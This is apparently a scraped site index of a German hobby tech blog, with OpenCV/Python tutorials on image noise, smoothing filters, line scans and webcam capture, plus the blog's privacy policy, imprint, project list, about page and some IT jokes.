bild.size * (1.0-verteilung)) koordinaten = [numpy.random.randint(0,i-1,int(pfeffermenge)) for i in bild.shape] ausgabe[koordinaten] = 0 return ausgabe Gaußverteiltes Rauschen Gaußverteiltes Rauschen bezeichnet man Rauschen bei dem die einzelnen Pixel nicht komplett Schwarz oder Weiß sind sondern nur teilweise von ihrem eigentlichen Wert abweichen.\nimport numpy import cv2 def gaussrauschen(bild, grundwert=10,abweichung=10): try: row,col,ch = bild.shape except: row,col = bild.shape ch = 1 noisy = numpy.zeros((row,col,ch),numpy.uint8) gauss = numpy.random.normal(grundwert,abweichung,(row,col,ch)) gauss = gauss.reshape(row,col,ch) gauss = cv2.convertScaleAbs(gauss) noisy = cv2.add(bild,gauss) noisy = bild + gauss return noisy ","permalink":"https://quisl.de/b/rauschen-auf-bildern-erzeugen-mit-opencvpython/","summary":"Für den Blogbeitrag über die verschiedenen Weichzeichnungmethoden habe ich Bilder mit verschiedenen Rauschsorten verwendet. Dieses Rauschen ist auf dem Originalfoto vom Eiffelturm nicht vorhanden sondern wurde nachträglich eingefügt. Auch wenn das für die digitale Bildverarbeitung eher uninteressant ist möchte ich in diesem Beitrag zeigen wie man so etwas umsetzt.\nSalz und Pfeffer Rauschen Als Salz \u0026amp; Pfeffer Rauschen bezeichnet man einzelne schwarze oder weiße zufällig verteilte Punkte auf einem Bild.","title":"Rauschen auf Bildern erzeugen mit OpenCV+Python"},{"content":"In einem vorherigen Blogartikel habe ich über die rechnerische Umsetzung von Glättungsalgorithmen gesprochen. Die dabei erläuterten Algorithmen waren der Mittelwertfilter, der Gaußfilter und der Medianfilter. In diesem Artikel sollen die Vor- und Nachteile der einzelnen Glättungsverfahren diskutiert werden. Zunächst muss festgehalten werden, dass es sich bei dem Mittelwert und beim Gaußfilter und Lineare und beim Medianfilter (vergleiche auch Minimumfilter und Maximumfilter) um nichtlineare Filter - genauer Rangordnungsfilter - handelt. Während bei linearen Faltungen der neue Wert durch die umliegenden Pixel errechnen lässt entspricht bei Rangordnungsfiltern der neue Wert genau dem Wert von einem der umliegenden Pixel. Durch diese Charakteristik eignet sich der Median Filter ideal um Salz\u0026amp;Pfeffer Rauschen, also vereinzelt auftretende schwarze oder weiße Pixel, zu entfernen. Lineare Filter würden diese Pixel übernehmen und an alle umliegenden Pixel wären von ihnen beeinflusst. Der Nachteil vom Medianfilter ist das vor allem bei Kanten sehr viele Informationen verloren gehen können.\nUnterschied zwischen Mittelwert und Gaußfilter Während der Mittelwertfilter aufgrund seines rechteckigen Aufbaus viele rechteckähnliche Strukturen (je nach Faltungskern große Pixel) auf dem Endbild zurück lassen kann sind diese beim Gaußfilter nicht zu sehen. Aus diesem Grund hat sich für die meisten Anwendungsgebiete der Gaußfilter als wichtigster linearer Filter zum Weichzeichnen durchgesetzt.\nVon links nach rechts: Bild mit Salz \u0026amp; Pfeffer Rauschen, 3x3Mittelwertfilter, 3x3Gaußfilter, 3x3Medianfilter\nSalz und Pfeffer rauschen wird vom Medianfilter vollständig entfernt, allerdings auf kosten der Bildqualität. Man beachte vor allem die einzelnen Metallstreben des Eifelturms.\nVon links nach rechts: Bild mit gaußverteiltem Rauschen, 3x3Mittelwertfilter, 3x3Gaußfilter, 3x3Medianfilter\n","permalink":"https://quisl.de/b/glaettungsfilter-vergleich/","summary":"In einem vorherigen Blogartikel habe ich über die rechnerische Umsetzung von Glättungsalgorithmen gesprochen. Die dabei erläuterten Algorithmen waren der Mittelwertfilter, der Gaußfilter und der Medianfilter. In diesem Artikel sollen die Vor- und Nachteile der einzelnen Glättungsverfahren diskutiert werden. Zunächst muss festgehalten werden, dass es sich bei dem Mittelwert und beim Gaußfilter und Lineare und beim Medianfilter (vergleiche auch Minimumfilter und Maximumfilter) um nichtlineare Filter - genauer Rangordnungsfilter - handelt. Während bei linearen Faltungen der neue Wert durch die umliegenden Pixel errechnen lässt entspricht bei Rangordnungsfiltern der neue Wert genau dem Wert von einem der umliegenden Pixel.","title":"Glättungsfilter Vergleich"},{"content":"Im letzten Beitrag habe ich einige Glättungsfilter erklärt. Hier nun ein praktisches Beispiel für OpenCV und Python. Das folgende Programm lädt ein Bild in den Speicher, wendet den Mittelwertfilter, den Gaußfilter sowie den Medianfilter darauf an und speichert die Bilder anschließend unter anderen Namen.\nimport cv2 img = cv2.imread(\u0026#39;Bild.jpg\u0026#39;,cv2.IMREAD_GRAYSCALE) gblur = cv2.GaussianBlur(img,(3,3),0) blur = cv2.blur(img,(3,3),0) mblur = cv2.medianBlur(img,3) cv2.imshow(\u0026#39;Originalbild\u0026#39;,img) cv2.imshow(\u0026#39;Gaussblur\u0026#39;,gblur) cv2.imshow(\u0026#39;Averageblur\u0026#39;,blur) cv2.imshow(\u0026#39;Medianblur\u0026#39;,mblur) cv2.imwrite(\u0026#39;bild_mblur.jpg\u0026#39;,mblur) cv2.imwrite(\u0026#39;bild_bblur.jpg\u0026#39;,blur) cv2.imwrite(\u0026#39;bild_gblur.jpg\u0026#39;,gblur) cv2.waitKey(0) cv2.destroyAllWindows() Mit imread() wird eine Bilddatei als Grauwertbild eingelesen. Die Funktion cv2.GaussianBlur() wendet den Gaußfilter auf ein Bild an. Der Tupel im zweiten Parameter stellt die Größe des Faltungskerns ein. cv2.blur() stellt den Mittelwertfilter und cv2.medianBlur() wendet einen Medianfilter an. Die Größe des Filters kann über die Parameter verändert werden, in diesem Beispiel sind alle drei Filter in 3x3 Größe.\n","permalink":"https://quisl.de/b/gaussfilter-mit-opencvpython/","summary":"Im letzten Beitrag habe ich einige Glättungsfilter erklärt. Hier nun ein praktisches Beispiel für OpenCV und Python. Das folgende Programm lädt ein Bild in den Speicher, wendet den Mittelwertfilter, den Gaußfilter sowie den Medianfilter darauf an und speichert die Bilder anschließend unter anderen Namen.\nimport cv2 img = cv2.imread(\u0026#39;Bild.jpg\u0026#39;,cv2.IMREAD_GRAYSCALE) gblur = cv2.GaussianBlur(img,(3,3),0) blur = cv2.blur(img,(3,3),0) mblur = cv2.medianBlur(img,3) cv2.imshow(\u0026#39;Originalbild\u0026#39;,img) cv2.imshow(\u0026#39;Gaussblur\u0026#39;,gblur) cv2.imshow(\u0026#39;Averageblur\u0026#39;,blur) cv2.imshow(\u0026#39;Medianblur\u0026#39;,mblur) cv2.imwrite(\u0026#39;bild_mblur.jpg\u0026#39;,mblur) cv2.imwrite(\u0026#39;bild_bblur.jpg\u0026#39;,blur) cv2.imwrite(\u0026#39;bild_gblur.jpg\u0026#39;,gblur) cv2.waitKey(0) cv2.destroyAllWindows() Mit imread() wird eine Bilddatei als Grauwertbild eingelesen.","title":"Glättungsfilter mit OpenCV+Python"},{"content":"Bei von Kameras aufgenommenen Grauwertbildern kann es bei schlechten Lichtverhältnissen, bei alten Aufnahmen oder bei günstigen Kameras zu Veränderungen in den Farben von einzelnen Pixeln kommen. Oft ist dies Gaußverteiltes oder \u0026ldquo;Salz \u0026amp; Pfeffer\u0026rdquo; Rauschen.\nWas sind Faltungsfilter Da fehlerhafte Pixel für die digitale Bildverarbeitung suboptimal sind, ist es oft nötig diese Pixel herauszurechnen. Verfahren die dies bewirken nennt man weich zeichnende oder glättende Verfahren. Möglichkeiten hierzu bieten unter anderem der Mittelwertfilter der Gaußfilter und der Medianfilter. Diese Filter können als Faltung in das Bild gerechnet werden.\nEin Grauwertbild ist eine zweidimensionale Matrix. Bei der Faltungsmethode wird eine kleinere Matrix - folgend Faltungskern - mit dem mittleren Punkt auf jeden Pixel des Grauwertbildes einzeln gesetzt und die jeweils übereinanderliegenden Pixelwerte multipliziert. Anschließend werden alle erhaltenen Produkte aufaddiert und durch die Anzahl aller Werte des Faltungskerns geteilt. Das Ergebnis dieser Rechnung entspricht den neuen Wert des Pixels auf dem der mittlere Wert des Faltungskerns gelegt wurde.\nMittelwertfilter \u0026amp; Gaußfilter am Beispiel Folgend eine Beispielrechnung.\nDa mit der Faltungsmethode die Ränder des Bildes beziehungsweise der Matrix nicht berechnet werden können werden in diesem Beispiel nur die inneren Werte der Matrix berücksichtigt. Beim Mittelwertfilter berechnet sich der Grauwert des Pixels [2,2] nach der Faltung beispielsweise folgendermaßen:\nErster Pixel Mittelwertfilter:\n(10*1+0*1+11*1+8*1+9*1+10*1+10*1+14*1+0*1)/9 = 8 Erster Pixel Gaußfilter:\n(10*1+0*2+11*1+8*2+4*9+10*2+10*1+14*2+0*1)/16 = ~8,2 Hier die vollständig berechneten Matritzen:\nDabei ist zu erkennen, dass das Ergebnisbild des Gaußfilters näher am Ursprungsbild liegt während der Mittelwertfilter das Bild stärker verändert hat. Da eine Glättung immer mit einem Informationsverlust einhergeht, macht es oft Sinn ein Verfahren zu wählen welches das Originalbild möglichst wenig verändert.\nUm den Wirkungsbereich der Glättung zu vergrößern ist es möglich einen größeren Faltungskern zu verwenden. Dabei ist zu beachten, dass die Kerne eine ungerade Anzahl an Zeilen und Spalten brauchen um sie auf einem Pixel legen zu können. Während die Faltungskerne für den Mittelwertfilter eindeutig sind können die Faltungskerne für den Gaußfilter anhand des Pascalschen Dreiecks hergeleitet werden.\nMedianfilter Ein weiterer viel genutzter Filter zur Rauschentfernung ist der Medianfilter. Hierbei wird wieder ein Faltungskern über jeden Pixel gelegt. Der neue Wert des Pixels ist der Median aller vom Faltungskern betroffenen Pixeln. Dieses Verfahren ist besonders gut geeignet um Salz\u0026amp;Pfeffer rauschen zu entfernen, hat aber oft den Nachteil, dass es die Konturen im Bild verwischt.\nVon links nach rechts: Bild mit Salz\u0026amp;Pfeffer Rauschen, 3x3Mittelwertfilter, 3x3Gaußfilter, 3x3Medianfilter\nVon links nach rechts: Bild mit gaußverteiltem Rauschen, 3x3Mittelwertfilter, 3x3Gaußfilter, 3x3Medianfilter\n","permalink":"https://quisl.de/b/bildglaettung-mit-mittelwert-und-gaussfilter-faltung/","summary":"Bei von Kameras aufgenommenen Grauwertbildern kann es bei schlechten Lichtverhältnissen, bei alten Aufnahmen oder bei günstigen Kameras zu Veränderungen in den Farben von einzelnen Pixeln kommen. Oft ist dies Gaußverteiltes oder \u0026ldquo;Salz \u0026amp; Pfeffer\u0026rdquo; Rauschen.\nWas sind Faltungsfilter Da fehlerhafte Pixel für die digitale Bildverarbeitung suboptimal sind, ist es oft nötig diese Pixel herauszurechnen. Verfahren die dies bewirken nennt man weich zeichnende oder glättende Verfahren. Möglichkeiten hierzu bieten unter anderem der Mittelwertfilter der Gaußfilter und der Medianfilter.","title":"Bildglättung mittels Mittelwertfilter, Gaußfilter und Medianfilter"},{"content":"Für manche Aufgaben der Bildverarbeitung möchte man gerne alle weißen oder schwarzen Punkte auf einer geraden zählen. Dies ist eine übliche Vorgehensweise bei der Realisierung eines Barcodescanners. Die dazugehörige Technik nennt man Linescan (oder Scanline) Funktion. Hierzu brauchen wir also eine Funktion die uns die einzelnen Punkte liefert. Für Linescans die in 0°, 90°,180° oder 270° zur Bildausrichtung stehen ist das ganze mit einer einfachen for Schleife getan. Für einen Vertikalen Scan:\ndef linescanVertikal(x,mat): #gibt alle punkte auf der X achse bei breite x liste = [] for y in range(mat.shape[0]): liste.append([x,y]) return liste Beziehungsweise für einen Horizontalen Scan:\ndef linescanHorizontal(y,mat): #gibt alle punkte auf der Y achse bei hoehe y liste = [] for x in range(mat.shape[1]): liste.append([x,y]) return liste Das ganze ist schön und gut. Aber manchmal braucht man eine Funktion die auch Linien in anderen Winkeln bearbeiten kann. Sie müsste uns die Punkte zwischen zwei Punkten liefern. Dazu ist es nötig, die Steigung zwischen den beiden Punkten zu kennen und eine imaginäre Linie zwischen den beiden Punkten zu ziehen. Danach gibt man alle Punkte aus die auf dieser Linie liegen. Hier nun der Code für diesen verbesserten Linescan:\nfrom __future__ import division import math def getPoints(p1,p2): #funktion kriegt zwei Punkte+Bild und liefert eine Liste aller Punkte dazwischen steigung = 0.0 steigung = (p1[1]-p2[1])/(p1[0]-p2[0]) liste = [] laenge = math.sqrt(math.pow(p2[0]-p1[0],2)+math.pow(p2[1]-p1[1],2)) for multi in range(int(laenge)): x = int(round(p1[0]+multi*(p2[0]-p1[0])/laenge)) y = int(round(p1[1]+multi*(p2[1]-p1[1])/laenge)) liste.append([x,y]) if liste[-1] != p2: liste.append(p2) return liste Die oberste Zeile muss am Anfang der Datei stehen. Sie sorgt dafür dass Python 2 die Bruchrechnung von Python 3 verwendet. Wer Python 3 oder höher benutzt kann sie sich also sparen.\nDie vom Linescan gefundenen Punkte hier weiß markiert\n","permalink":"https://quisl.de/b/linescan-mit-opencvpython/","summary":"Für manche Aufgaben der Bildverarbeitung möchte man gerne alle weißen oder schwarzen Punkte auf einer geraden zählen. Dies ist eine übliche Vorgehensweise bei der Realisierung eines Barcodescanners. Die dazugehörige Technik nennt man Linescan (oder Scanline) Funktion. Hierzu brauchen wir also eine Funktion die uns die einzelnen Punkte liefert. Für Linescans die in 0°, 90°,180° oder 270° zur Bildausrichtung stehen ist das ganze mit einer einfachen for Schleife getan. Für einen Vertikalen Scan:","title":"Linescan mit OpenCV+Python"},{"content":"Manchmal möchte man nicht nur ein einzelnes Bild von der Festplatte laden um es zu bearbeiten sondern einen ganzen Videostream beobachten um zum Beispiel auf ein bestimmtes Ereignis zu warten. Dieser Videostream kann als Datei oder als Webcam vorliegen. Das ganze funktioniert mit folgenden Zeilen:\nimport cv2 cap = cv2.VideoCapture(0) while(cap.isOpened()): ret, frame = cap.read() if ret==True: k = cv2.waitKey(1) cv2.imshow(\u0026#39;Bild\u0026#39;,frame) Zeile 3 öffnet mit der VideoCapture() Funktion eine Verbindung zur Kamera. Diese Verbindung wird als VideoCapture Objekt zurückgegeben. Wenn man eine Zahl als Parameter gibt wird die Kamera mit der internen ID dieser Zahl als Bildquelle genutzt. Alternativ kann mit einem Pfad in Stringform auch eine Videodatei abgespielt werden.\nAls nächstes lassen wir eine while Schleife so lange laufen wie uns unser VideoCapture Objekt noch Bilder liefert. cap.read() gibt uns bei Erfolg ein True Flag sowie das Bild als Numpy Array.\n","permalink":"https://quisl.de/b/webcam-abgreifen-mit-opencvpython/","summary":"Manchmal möchte man nicht nur ein einzelnes Bild von der Festplatte laden um es zu bearbeiten sondern einen ganzen Videostream beobachten um zum Beispiel auf ein bestimmtes Ereignis zu warten. Dieser Videostream kann als Datei oder als Webcam vorliegen. Das ganze funktioniert mit folgenden Zeilen:\nimport cv2 cap = cv2.VideoCapture(0) while(cap.isOpened()): ret, frame = cap.read() if ret==True: k = cv2.waitKey(1) cv2.imshow(\u0026#39;Bild\u0026#39;,frame) Zeile 3 öffnet mit der VideoCapture() Funktion eine Verbindung zur Kamera.","title":"Webcam abgreifen mit OpenCV+Python"},{"content":"Ich bin gerade dabei mich wieder etwas mehr mit rechnergestützter Bildverarbeitung zu beschäftigen. Dabei verwende ich als Hilfsmittel OpenCV und Python. Ersteres ist eine sehr mächtige, freie Programmbibliothek die viele stark optimierte Algorithmen zur Bildverarbeitung bereitstellt.\nDa Python seit einigen Jahren meine absolute Lieblingsscriptsprache ist habe ich mich dazu entschieden zukünftige Projekte mit Python anzugehen.\nAktuell verwende ich Python in der Version '2.7.13'. Mit der Version 3.0 haben die Entwickler jedoch Teile der Python Syntax geändert. Wenn du meine Beispiele nicht ausführen kannst, dann könnte es genau daran liegen. Ich verwende im folgenden OpenCV in der Version '3.2.0'.\nHier zuerst ein kleiner Code wie du Bilder einliest.\nimport cv2 img = cv2.imread(\u0026#39;bild.png\u0026#39;,cv2.IMREAD_GRAYSCALE) cv2.imshow(\u0026#39;Hallo Welt\u0026#39;,img) cv2.waitKey(0) cv2.destroyAllWindows() In der ersten Zeile lädst du die OpenCV Bibliothek.\nMit imread() kannst du die Bilddaten aus einer Bilddatei als Numpy Array in eine Variable speichern. Mithilfe des Flags im zweiten Argument sagst du, dass du ein Grauwertbild haben willst. Alternative Flags wären cv2.IMREAD_COLOR für alle drei Farbkanäle oder cv2.IMREAD_UNCHANGED für die Farbkanäle und die Alphakanäle (für Transparenz).\nimshow() erstellt ein Fenster im Speicher. Dabei sind die Argumente erstens der Fenstername und zweitens die Bildmatrix.\nwaitKey() zeigt alle mit imshow() erstellten Fenster an und wartet eine Anzahl an Millisekunden. Diese kannst du als Argument mitgeben. Alternativ kannst du auch einfach eine Taste drücken ohne zu warten. Bei waitKey(0) wird übrigens unendlich lange gewartet. Nebenbei liefert diese Funktion die gedrückte Taste als Rückgabewert.\ndestroyAllWindows() räumt letztendlich den Speicher wieder auf.\n","permalink":"https://quisl.de/b/bilder-einlesen-mit-opencvpython/","summary":"Ich bin gerade dabei mich wieder etwas mehr mit rechnergestützter Bildverarbeitung zu beschäftigen. Dabei verwende ich als Hilfsmittel OpenCV und Python. Ersteres ist eine sehr mächtige, freie Programmbibliothek die viele stark optimierte Algorithmen zur Bildverarbeitung bereitstellt.\nDa Python seit einigen Jahren meine absolute Lieblingsscriptsprache ist habe ich mich dazu entschieden zukünftige Projekte mit Python anzugehen.\nAktuell verwende ich Python in der Version '2.7.13'. Mit der Version 3.0 haben die Entwickler jedoch Teile der Python Syntax geändert.","title":"Wie du mit OpenCV Python Bilder einliest"},{"content":"Die Nutzung unserer Webseite ist in der Regel ohne Angabe personenbezogener Daten möglich. Soweit auf unseren Seiten personenbezogene Daten (beispielsweise Name, Anschrift oder E-Mail-Adressen) erhoben werden, erfolgt dies, soweit möglich, stets auf freiwilliger Basis. Diese Daten werden ohne Ihre ausdrückliche Zustimmung nicht an Dritte weitergegeben. Wir weisen darauf hin, dass die Datenübertragung im Internet (z.B. bei der Kommunikation per E-Mail) Sicherheitslücken aufweisen kann. Ein lückenloser Schutz der Daten vor dem Zugriff durch Dritte ist nicht möglich. Der Nutzung von im Rahmen der Impressumspflicht veröffentlichten Kontaktdaten durch Dritte zur Übersendung von nicht ausdrücklich angeforderter Werbung und Informationsmaterialien wird hiermit ausdrücklich widersprochen. Die Seitenbetreiber behalten sich ausdrücklich rechtliche Schritte im Falle der unverlangten Zusendung von Werbung, etwa durch Spam-E-Mails, vor.\nGoogle AdSense Diese Website verwendet Google AdSense. Hierbei handelt es sich um einen Dienst der Google Inc., 1600 Amphitheatre Parkway, Mountain View, CA 94043, USA, zum Einbinden von Werbeanzeigen. Google AdSense verwendet Cookies. Das sind Dateien, die durch Speicherung auf Ihrem PC eine Analyse der Daten über Ihre Nutzung unserer Website durch Google ermöglichen. Darüber hinaus verwendet Google AdSense auch Web Beacons, unsichtbare Grafiken, die es Google ermöglichen, Klicks auf diese Website, den Verkehr auf dieser und ähnliche Informationen zu analysieren. Die durch Cookies und Web Beacons gewonnenen Informationen, Ihre IP-Adresse und Auslieferung von Werbeformaten werden an einen Server von Google in den USA übertragen und dort gespeichert. Google kann diese gesammelten Informationen an Dritte weitergeben, wenn dies gesetzlich vorgeschrieben ist oder wenn Google Dritte mit der Verarbeitung der Daten beauftragt. Allerdings wird Google Ihre IP-Adresse mit den anderen gespeicherten Daten zusammenführen. Durch entsprechende Einstellungen in Ihrem Internetbrowser oder unserem Cookie-Consent-Tool können Sie verhindern, dass die genannten Cookies auf Ihrem PC gespeichert werden. Dadurch können die Inhalte dieser Website jedoch nicht mehr im gleichen Umfang genutzt werden. Durch die Nutzung dieser Website stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten durch Google in der oben beschriebenen Weise und zu den oben beschriebenen Zwecken zu. Bitte überprüfen Sie die von Google bereitgestellten Werbeinformationen auf eine Liste von Cookies, die durch die Nutzung dieses Dienstes gesetzt werden können.\n","permalink":"https://quisl.de/datenschutz/","summary":"Die Nutzung unserer Webseite ist in der Regel ohne Angabe personenbezogener Daten möglich. Soweit auf unseren Seiten personenbezogene Daten (beispielsweise Name, Anschrift oder E-Mail-Adressen) erhoben werden, erfolgt dies, soweit möglich, stets auf freiwilliger Basis. Diese Daten werden ohne Ihre ausdrückliche Zustimmung nicht an Dritte weitergegeben. Wir weisen darauf hin, dass die Datenübertragung im Internet (z.B. bei der Kommunikation per E-Mail) Sicherheitslücken aufweisen kann. Ein lückenloser Schutz der Daten vor dem Zugriff durch Dritte ist nicht möglich.","title":"Datenschutz"},{"content":"Angaben gemäß § 5 TMG Jonas Rabe Stuttgarter Platz 2 10627 Berlin\nVertreten durch: Jonas Rabe E-Mail: quisl (ät) outlook.de\nVerantwortlich für den Inhalt nach § 55 Abs. 2 RStV: Jonas Rabe Stuttgarter Platz 2 10627 Berlin\nHaftungsausschluss: Haftung für Inhalte Die Inhalte unserer Seiten wurden mit größter Sorgfalt erstellt. Für die Richtigkeit, Vollständigkeit und Aktualität der Inhalte können wir jedoch keine Gewähr übernehmen. Als Diensteanbieter sind wir gemäß § 7 Abs.1 TMG für eigene Inhalte auf diesen Seiten nach den allgemeinen Gesetzen verantwortlich. Nach §§ 8 bis 10 TMG sind wir als Diensteanbieter jedoch nicht verpflichtet, übermittelte oder gespeicherte fremde Informationen zu überwachen oder nach Umständen zu forschen, die auf eine rechtswidrige Tätigkeit hinweisen. Verpflichtungen zur Entfernung oder Sperrung der Nutzung von Informationen nach den allgemeinen Gesetzen bleiben hiervon unberührt. Eine diesbezügliche Haftung ist jedoch erst ab dem Zeitpunkt der Kenntnis einer konkreten Rechtsverletzung möglich. Bei Bekanntwerden von entsprechenden Rechtsverletzungen werden wir diese Inhalte umgehend entfernen.\nHaftung für Links Unser Angebot enthält Links zu externen Webseiten Dritter, auf deren Inhalte wir keinen Einfluss haben. Deshalb können wir für diese fremden Inhalte auch keine Gewähr übernehmen. Für die Inhalte der verlinkten Seiten ist stets der jeweilige Anbieter oder Betreiber der Seiten verantwortlich. Die verlinkten Seiten wurden zum Zeitpunkt der Verlinkung auf mögliche Rechtsverstöße überprüft. Rechtswidrige Inhalte waren zum Zeitpunkt der Verlinkung nicht erkennbar. Eine permanente inhaltliche Kontrolle der verlinkten Seiten ist jedoch ohne konkrete Anhaltspunkte einer Rechtsverletzung nicht zumutbar. Bei Bekanntwerden von Rechtsverletzungen werden wir derartige Links umgehend entfernen.\nUrheberrecht Die durch die Seitenbetreiber erstellten Inhalte und Werke auf diesen Seiten unterliegen dem deutschen Urheberrecht. Die Vervielfältigung, Bearbeitung, Verbreitung und jede Art der Verwertung außerhalb der Grenzen des Urheberrechtes bedürfen der schriftlichen Zustimmung des jeweiligen Autors bzw. Erstellers. Downloads und Kopien dieser Seite sind nur für den privaten, nicht kommerziellen Gebrauch gestattet. Soweit die Inhalte auf dieser Seite nicht vom Betreiber erstellt wurden, werden die Urheberrechte Dritter beachtet. Insbesondere werden Inhalte Dritter als solche gekennzeichnet. Sollten Sie trotzdem auf eine Urheberrechtsverletzung aufmerksam werden, bitten wir um einen entsprechenden Hinweis. Bei Bekanntwerden von Rechtsverletzungen werden wir derartige Inhalte umgehend entfernen.\n","permalink":"https://quisl.de/impressum/","summary":"Angaben gemäß § 5 TMG Jonas Rabe Stuttgarter Platz 2 10627 Berlin\nVertreten durch: Jonas Rabe E-Mail: quisl (ät) outlook.de\nVerantwortlich für den Inhalt nach § 55 Abs. 2 RStV: Jonas Rabe Stuttgarter Platz 2 10627 Berlin\nHaftungsausschluss: Haftung für Inhalte Die Inhalte unserer Seiten wurden mit größter Sorgfalt erstellt. Für die Richtigkeit, Vollständigkeit und Aktualität der Inhalte können wir jedoch keine Gewähr übernehmen. Als Diensteanbieter sind wir gemäß § 7 Abs.","title":"Impressum"},{"content":"Hier ein paar Projekte an die ich irgendwann mal gebaut habe und noch online sind. Viel Spaß!\nChurch Guesser Auf crossquiz.net findest du den Church Guesser. Ein lustiges Spiel bei dem ich mich von Geoguesser inspiriert habe. Dabei kriegst du Google Street View Ansichten von Kirchen - innen und außen - angezeigt anhand deren du die Konfession/Denomination der Kirche erraten musst.\nTwitch Emote Wordle Hier ein Wordle das die Emotes eines Twitch Kanals als Worte nimmt sofern sie aus 5 Buchstaben bestehen. Dabei werden auch SevenTV, FrankerfaceZ und BetterTwitchTV Emotes berücksichtigt: https://batchest.com/emotechecker/twitchle\nStrongs Lookup StrongsLookup ist ein Discord Bot der eine Interlinearbibelübersetzung in Englisch (KJV) und Hebräisch (Masoretischer Text) bzw. Griechisch (Textus Receptus) mitbringt. Ist wohl eher nur was für christliche Discords.\nBible Quiz Und wo wir gerade schon bei christlichen Discord Bots sind\u0026hellip; Mit dem CrossQuiz Bot kannst du ein Bible Trivia Quiz in deinen Discordserver bringen.\nTwitch Emote Checker Auf https://batchest.com/emotechecker/ kannst du alle Third Party Emotes (bttv, 7tv ffz) eines Twitch Kanals anzeigen lassen. Dann wird automatisch erkennt ob es überlappungen gibt. Wenn zwei Emotes den selben Namen haben funktioniert nämlich nur eines davon und bei FFZ und BTTV sind die Emoteplätze rar. (FrankerfaceZ funktioniert gerade nicht)\nYoutube Phrase Finder Mit dem Youtube Phrase Finder kannst du ein YouTube Video oder sogar bis zu 20 der letzen Videos eines Kanals durchsuchen um herauszufinden an welchen Stellen ein bestimmtes Wort gesagt wurde. Das Tool greift dabei intern auf das Transcript Feature zurück.\nClip Guesser Auf ClipGuesser findest du ein Spiel bei dem du raten musst wie viele Aufrufe ein Twitch Clip hat. (funktioniert gerade nicht)\nTwitch Streamer Horoskop Das Twitch Streamer Horoskop war mein allererstes Django Projekt um herauszufinden wie das funktioniert. Ist eigentlich nicht interessant und nur als Meme gedacht\u0026hellip;\n","permalink":"https://quisl.de/projekte/","summary":"Hier ein paar Projekte an die ich irgendwann mal gebaut habe und noch online sind. Viel Spaß!\nChurch Guesser Auf crossquiz.net findest du den Church Guesser. Ein lustiges Spiel bei dem ich mich von Geoguesser inspiriert habe. Dabei kriegst du Google Street View Ansichten von Kirchen - innen und außen - angezeigt anhand deren du die Konfession/Denomination der Kirche erraten musst.\nTwitch Emote Wordle Hier ein Wordle das die Emotes eines Twitch Kanals als Worte nimmt sofern sie aus 5 Buchstaben bestehen.","title":"Projekte"},{"content":"Entdecke die faszinierende Welt des Cloud Computing, Data Science, Programmierens und mehr!\nHallo, ich bin Quisl, auch bekannt als Jonas, ich freue mich sehr, dass du den Weg zu meinem Blog gefunden hast. Als waschechter Geek aus Bielefeld hat mich die Begeisterung für Technologie schon seit meiner Kindheit nicht mehr losgelassen. Heute lebe ich meinen Traum als selbstständiger Softwareentwickler in der aufregenden Stadt Berlin.\nAber mein Werdegang begann schon lange vor meinem Einstieg in die Berufswelt. Während meines Studiums der Ingenieurinformatik faszinierte mich die Welt der Rechenzentren und IT-Infrastrukturen in Großkonzernen. Ich ergatterte sogar einen Nebenjob in einem Rechenzentrum, wo ich die Gelegenheit hatte, die administrativen Abläufe hautnah zu erleben.\nDoch meine Leidenschaft für Technologie beschränkt sich nicht nur auf die Arbeitswelt. In meiner Freizeit tauche ich gerne tief in die Welten der Programmierung, Linux, Netzwerke, Hacking und vielem mehr ein. So war ich stolzes Gründungsmitglied des ersten und größten Hackerspace in Bielefeld im Jahr 2009, wo sich Gleichgesinnte austauschen und gemeinsam Neues schaffen konnten.\nMit den Jahren konnte ich im IT-Sektor wertvolle Erfahrungen sammeln und habe beschlossen, diesen Blog zu erstellen, um meine Gedanken, Tutorials und Tipps \u0026amp; Tricks zu verschiedenen Technikthemen zu teilen. Hier findest du spannende Inhalte rund um Cloud Computing, Data Science, Programmierung und vieles mehr.\nOb du ein Technikenthusiast, ein IT-Professioneller oder einfach nur neugierig bist - dieser Blog bietet dir einen Einblick in die sich ständig weiterentwickelnde Welt der Technologie. Ich lade dich herzlich ein, meine neuesten Posts zu erkunden und Teil meiner technischen Entdeckungsreise zu werden.\nBegleite mich auf dieser fesselnden Reise durch Bits und Bytes, und gemeinsam entdecken wir die unendlichen Möglichkeiten, die die Technologie uns bietet. Also, schnall dich an und lass uns zusammen in die faszinierende Welt der Technik eintauchen!\nSchlüsselwörter: Technik, Cloud Computing, Data Science, Programmierung, IT-Sektor, Berlin, Ingenieurinformatik, Rechenzentren, Linux, Netzwerke, Hacking, Hackerspace, Technologieenthusiasten, Tutorials, Tipps \u0026amp; Tricks.\n","permalink":"https://quisl.de/ueber/","summary":"Entdecke die faszinierende Welt des Cloud Computing, Data Science, Programmierens und mehr!\nHallo, ich bin Quisl, auch bekannt als Jonas, ich freue mich sehr, dass du den Weg zu meinem Blog gefunden hast. Als waschechter Geek aus Bielefeld hat mich die Begeisterung für Technologie schon seit meiner Kindheit nicht mehr losgelassen. Heute lebe ich meinen Traum als selbstständiger Softwareentwickler in der aufregenden Stadt Berlin.\nAber mein Werdegang begann schon lange vor meinem Einstieg in die Berufswelt.","title":"Über"},{"content":"Ein Engländer, ein Franzose, ein Spanier und ein Deutscher loggen sich in einen Zoom call ein. Der Host möchte prüfen ob sein Video funktioniert und fragt: \u0026ldquo;Can you see me?\u0026rdquo;\nDa antworten die anderen: \u0026ldquo;Yes\u0026rdquo; \u0026ldquo;Oui\u0026rdquo; \u0026ldquo;Si\u0026rdquo; \u0026ldquo;Ja\u0026rdquo;\nEs gibt 10 Arten von Menschen in der Welt. Die einen verstehen das Binärsystem und die anderen nicht!\nWhy do programmers code on a dark background?\nBecause light attracts bugs!\n„Na wie ist denn das Wetter heute?“\n„Caps Lock!“\n„Hä?“\n„Ja, Shift ohne Ende…“\nEin Projektmanager, ein Maschinenbauingenieur und ein Informatiker machen einen Autoausflug durch die Berge. Als sie gerade einen Pass hinunterfahren, reagieren plötzlich die Bremsen nicht mehr. Das Auto kommt von der Straße ab und stürzt ins Tal hinunter. Etwas benebelt steigen die drei aus. Da meint der Projektmanager: „Tja, am besten machen wir mal ein Meeting und checken die Lage.“\nDarauf der Maschinenbauingenieur: „Ach was, ich hab mein Sackmesser dabei, damit repariere ich die Bremsen.“\nKommt der Informatiker und sagt: „Warum so kompliziert, wir schieben die Karre wieder die Straße hinauf, steigen ein und schauen, ob es noch einmal passiert.“\nEin Informatiker schiebt einen 